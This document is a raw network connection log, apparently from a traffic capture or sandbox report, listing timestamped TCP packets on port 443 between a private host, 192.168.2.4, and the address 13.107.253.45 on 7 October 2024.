Oct 7, 2024 18:01:09.643445969 CEST	443	60253	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.651767969 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.652318954 CEST	60255	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.652352095 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.652762890 CEST	60255	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.652769089 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.742356062 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.742412090 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.742489100 CEST	60254	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.743092060 CEST	60254	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.743092060 CEST	60254	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.743105888 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.743113995 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.745960951 CEST	443	60253	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.746068001 CEST	60258	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.746098995 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.746125937 CEST	443	60253	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.746170998 CEST	60258	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.746408939 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.746409893 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.746409893 CEST	60258	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.746409893 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.746427059 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.748795986 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.748847961 CEST	443	60259	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.749072075 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.749145985 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.749167919 CEST	443	60259	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.757018089 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.758125067 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.758424997 CEST	60256	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.758450985 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.758588076 CEST	60257	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.758610964 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.758981943 CEST	60256	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.758990049 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.759414911 CEST	60257	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.759423018 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.760849953 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.760906935 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.760963917 CEST	60255	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.761059999 CEST	60255	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.761073112 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.761080980 CEST	60255	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.761086941 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.763613939 CEST	60260	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.763663054 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.764586926 CEST	60260	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.764586926 CEST	60260	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.764626026 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.873853922 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.874022007 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.874212980 CEST	60257	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.874285936 CEST	60257	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.874285936 CEST	60257	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.874310017 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.874325037 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.877398014 CEST	60261	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.877475023 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.877566099 CEST	60261	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.877794027 CEST	60261	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.877831936 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.880202055 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.880280972 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.880342960 CEST	60256	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.880480051 CEST	60256	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.880506992 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.880520105 CEST	60256	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.880527973 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.883425951 CEST	60262	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.883464098 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.883580923 CEST	60262	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.883793116 CEST	60262	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.883820057 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.977435112 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.977448940 CEST	443	60253	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.698426962 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.700088024 CEST	60258	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.700100899 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.700484991 CEST	60258	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.700491905 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.701816082 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.702629089 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.702966928 CEST	60262	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.703031063 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.703344107 CEST	60262	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.703360081 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.703547001 CEST	60260	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.703562975 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.703893900 CEST	60260	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.703900099 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.709140062 CEST	443	60259	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.709809065 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.710688114 CEST	60261	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.710711002 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.711035967 CEST	60261	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.711040020 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.711070061 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.711070061 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.711114883 CEST	443	60259	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.711139917 CEST	443	60259	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.807986975 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.808062077 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.808135986 CEST	60258	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.808362961 CEST	60258	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.808382988 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.808393002 CEST	60258	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.808403969 CEST	443	60258	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.811443090 CEST	60263	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.811486006 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.811588049 CEST	60263	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.811758041 CEST	60263	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.811772108 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.811769962 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.811842918 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.811960936 CEST	60260	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.811985016 CEST	60260	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.811996937 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.812005997 CEST	60260	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.812011003 CEST	443	60260	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.813277006 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.813339949 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.813421965 CEST	60262	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.813527107 CEST	60262	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.813545942 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.813560963 CEST	60262	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.813565969 CEST	443	60262	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.814522028 CEST	60264	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.814553022 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.814631939 CEST	60264	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.814795017 CEST	60264	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.814800978 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.815501928 CEST	60265	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.815553904 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.815613031 CEST	60265	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.815711975 CEST	60265	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.815730095 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.817528009 CEST	443	60259	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.817676067 CEST	443	60259	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.817775011 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.817775011 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.817775011 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.819199085 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.819242954 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.819418907 CEST	60261	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.819443941 CEST	60261	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.819443941 CEST	60261	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.819457054 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.819467068 CEST	443	60261	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.819869041 CEST	60266	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.819885015 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.819935083 CEST	60266	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.820050001 CEST	60266	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.820071936 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.821276903 CEST	60267	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.821294069 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:10.821353912 CEST	60267	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.821472883 CEST	60267	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:10.821482897 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:11.117888927 CEST	60259	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:11.117919922 CEST	443	60259	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.224072933 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.224493980 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.225019932 CEST	60266	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.225045919 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.225049019 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.225485086 CEST	60266	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.225492001 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.225830078 CEST	60265	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.225841999 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.226387024 CEST	60265	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.226391077 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.226732016 CEST	60264	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.226754904 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.227123022 CEST	60264	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.227132082 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.230110884 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.230573893 CEST	60263	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.230590105 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.231235027 CEST	60263	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.231239080 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.235136032 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.235577106 CEST	60267	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.235608101 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.236119032 CEST	60267	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.236124992 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.350687027 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.350752115 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.350852966 CEST	60266	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.351028919 CEST	60266	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.351048946 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.351083994 CEST	60266	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.351089954 CEST	443	60266	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.351114035 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.351162910 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.351944923 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.351998091 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.352015972 CEST	60265	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.352055073 CEST	60263	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.352165937 CEST	60265	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.352169991 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.352180958 CEST	60265	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.352184057 CEST	443	60265	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.353550911 CEST	60263	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.353550911 CEST	60263	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.353564978 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.353574038 CEST	443	60263	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.354397058 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.354649067 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.354724884 CEST	60267	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.355088949 CEST	60267	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.355109930 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.355125904 CEST	60267	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.355134964 CEST	443	60267	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.357506037 CEST	60268	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.357543945 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.357604027 CEST	60268	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.358650923 CEST	60269	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.358690977 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.358793020 CEST	60270	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.358802080 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.358828068 CEST	60269	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.358861923 CEST	60270	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.358927965 CEST	60268	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.358939886 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.359045029 CEST	60269	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.359061956 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.359124899 CEST	60270	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.359137058 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.360085011 CEST	60271	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.360096931 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.360160112 CEST	60271	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.360272884 CEST	60271	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.360279083 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.426140070 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.426258087 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.426383972 CEST	60264	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.426640987 CEST	60264	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.426652908 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.426667929 CEST	60264	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.426673889 CEST	443	60264	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.429784060 CEST	60272	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.429817915 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:12.429913044 CEST	60272	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.430064917 CEST	60272	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:12.430072069 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.139153957 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.139800072 CEST	60270	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.139816999 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.140357971 CEST	60270	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.140366077 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.297121048 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.297802925 CEST	60271	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.297821999 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.298450947 CEST	60271	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.298455954 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.322103977 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.323046923 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.323529959 CEST	60269	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.323542118 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.324093103 CEST	60269	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.324100018 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.324413061 CEST	60268	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.324433088 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.324915886 CEST	60268	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.324920893 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.382441998 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.383208036 CEST	60272	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.383275032 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.383892059 CEST	60272	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.383908987 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.407517910 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.407607079 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.407798052 CEST	60271	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.408104897 CEST	60271	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.408124924 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.408134937 CEST	60271	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.408140898 CEST	443	60271	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.411436081 CEST	60273	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.411487103 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.411592960 CEST	60273	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.411793947 CEST	60273	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.411812067 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.432955027 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.433015108 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.433109999 CEST	60269	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.433341026 CEST	60269	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.433362961 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.433374882 CEST	60269	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.433382988 CEST	443	60269	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.434756041 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.434906960 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.434993982 CEST	60268	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.435117006 CEST	60268	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.435132027 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.435142040 CEST	60268	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.435146093 CEST	443	60268	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.436479092 CEST	60274	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.436517954 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.436582088 CEST	60274	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.436722994 CEST	60274	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.436734915 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.437231064 CEST	60275	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.437284946 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.437359095 CEST	60275	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.437460899 CEST	60275	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.437486887 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.495326996 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.495452881 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.495657921 CEST	60272	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.495831966 CEST	60272	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.495831966 CEST	60272	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.495876074 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.495898962 CEST	443	60272	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.498691082 CEST	60276	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.498739958 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.498826981 CEST	60276	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.498986006 CEST	60276	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.499001980 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.598855972 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.598928928 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.599121094 CEST	60270	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.599155903 CEST	60270	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.599179983 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.599196911 CEST	60270	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.599212885 CEST	443	60270	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.602659941 CEST	60277	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.602719069 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:13.602790117 CEST	60277	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.602921009 CEST	60277	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:13.602945089 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.175796032 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.176390886 CEST	60273	443	192.168.2.4	13.107.253.45
